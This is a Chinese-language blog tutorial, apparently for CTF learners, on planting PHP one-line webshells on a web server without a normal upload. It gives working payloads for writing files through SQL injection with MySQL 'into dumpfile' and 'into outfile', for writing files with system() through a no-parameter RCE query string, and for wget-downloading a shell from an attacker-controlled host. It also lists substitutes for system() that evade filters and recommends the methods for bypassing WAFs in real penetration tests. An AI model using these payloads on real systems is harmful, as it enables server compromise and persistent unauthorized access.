一句话木马如果上传到服务器的话,有啥危害学过网络安全的人都知道。但是通常网上流传的方式都是通过文件上传来实现木马上传,实在太过老套,这里就教大家几个新的方式来本地生成一句话木马。(这篇笔记知识带大家入个门,想了解的话还得自己查询资料来学习)
这篇笔记也是有很多跳转内容,看不懂可以尝试看看跳转的博客,他们写的一定是比我更好
讲这之前得先介绍mysql配置文件中的secure_file_priv选项
配置文件的位置:
在windos下
mysql.ini的[mysqld]下添加
在linux下
/etc/my.cnf的[mysqld]下添加
也就是说,这个配置一旦打开,我们就能够通过sql语句来实现生成文件功能了
接下来就是重点介绍生成文件的两个mysql语法了
这个语法的作用就是用于自定义写shell文件
例如:
select "" into dumpfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\shell.php'
into dumpfile后面只能跟绝对路径。
这里我准备了一个实例给大家
这就是一个简单的整型注入。主要是用于演示,所以就没有进行任何过滤。
在他后端的代码则是
select Name from name where Id = $_GET['id'];
那么我们开始注入了,直接制造以下payload
1 union select "" into dumpfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\shell.php'
我想把一句话木马就上传在one目录下,所以我的绝对路径如下,在写绝对路径时,’\‘被默认为转义字符,得再来一个\符号给他转义回路径的意思,所以我们路径中是’\\‘
等我按下提交后,可以看到原本的目录下面多了一个shell.php,这时候就可以连接蚁剑了
这个语法比较难的操控的地方就是不知道后面的绝对路径跟啥,由于我这是在本地测试,所以知道网页的目录在哪儿。但是假如说是linux系统的话,我们可以尝试var/www/html这个默认路径
该函数同样也是写入文件,因为一些细微的差别,这个函数常用的方法是把数据库中的某个表的内容写入到文件,然后再读取这个文件
所以我们正常操作流程是先创建一个表,然后利用Insert into 把一句话木马插入进去,然后再导出
语法:
select * from test into outfile '/tmp/test.txt'
用法和into dumpfile相似但是又细微的差别
这里我同样是给大家演示一下,简单给大家看一下读取文件的流程(就不演示向表内写入一句话木马再读取了)
payload:
1 union select Id from name where 1=1 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\test.txt'
这里可以看到one目录下多了一个test.txt,并且里面的内容就是我们的id,至于这个张三,是我们输入的$_GET[‘Id’] =1 的回显
想去掉这个张三只需要 id =-1 再union
接着就可以在我们的url后面访问test.txt文件了,这里面中文字符张三无法显示
这里还得说一点,在注入的时候,我只是select Id from name into outfile ‘xxxx’,并没有select * 是由原因的
原因就在于我后端是slect Name 只选择一个字段,后面再union 时也只能选择一个字段,要是select *的话,内含Name 和 Id两个字段就会报错
然后关于这俩语法我就讲到这儿,还有其他读取文件的语法,以及这俩语法有细微的差别。下面是我学习的别人的笔记,写的真的很好,大家看不懂我的可以尝试去它的博客看看
Mysql注入 利用系统读、写文件
当大家看到这个标题的时候就应该懂了怎样实现生成一句话木马了,原理也很简单。先给大家展示以下Payloda
\\windos
system('echo "">>shell.php');
\\linux
system('wget httpp://xxx/xxx -P /var/www/html')
echo '' > /home/web/www/PREFIX/htdocs/shell.php
这个的话就是考察大家对系统命令的了解程度了
利用system,我们就可以实现不需要对方的本地目录也能生成一句话木马的效果
就如上面windos的Paylod,生成的一句话木马就是再当前网页的目录,直接读取,蚁剑连接就行。
也可以指定目录,像linux那样,加一个-P就能指定目录了。不想指定把-P去掉就行
然后也是给大家搭了一个简单的靶场看看
报错大家不用理会,是因为code里面没有传参所以报错。
这里就是一个简单的无参数RCE,至于无参数RCE怎么做我就不说了,大家自己了解吧。这里我重点讲一下如何生成一句话木马
首先Payload:
?code=eval(end(current(get_defined_vars())));&b=system('echo "">>shell.php');
先说说啥意思,下面这段的意思就是可以把b里面的传参读取,并echo。那我们就可以使用system了,具体含义大家学习一下无参数RCE绕过就能理解
?code=eval(end(current(get_defined_vars())));&b=
那么b中放的变量就是我们的system(‘echo “”>>shell.php’);
这样他就会在当前目录下生成一个shell.php
不仅是无参数RCE,RCE里面用于绕过的那一套在这上面同样实用,比如system这个函数经常被过滤,那么在做RCE时我们不常有好几个system的替代函数
system替代函数
exec()
shell_exec()
pcntl_exec()
popen()
proc_popen()
passthru()
原理也是很简单就是利用system嘛,再结合RCE的知识灵活运用
这个可以说特别常见了,刚开始入门学web安全时,做CTF题基本都会遇到
原理就是一个本地文件包含漏洞
注意:需要开启服务器记录日志功能
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
当我们看到include函数的时候,可以下意识的去尝试本地包含以下日志文件,看看能不能行得通。加入能包含日志文件,就可以观察日志信息,然后进行相关的注入
具体操作方法可以看我之前写的一篇日志包含漏洞写一句话木马
假如说大家能够RCE,大家也可以在自己的服务器放一个一句话木马。
然后linux主机使用wget命令,利用RCE在对方主机上下载这个木马
windows主机上同样也有下载命令,因为思路清晰这里就不给大家演示了
总而言之,这些五七八门的方法特别多,重点是学会了可以灵活运用,会运用了,mysql 和RCE也能写一句话木马,包括其他漏洞也时,也能结合起来,这样才是真正的做到理解
假如是真实渗透环境,这样的奇怪方法往往能够绕过waf,防火墙。倘若是你正常的文件上传一句话木马,一是这种漏洞可遇不可求,二便是你需要绕过waf防火墙,那么你就需要过硬的shell免杀技术。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.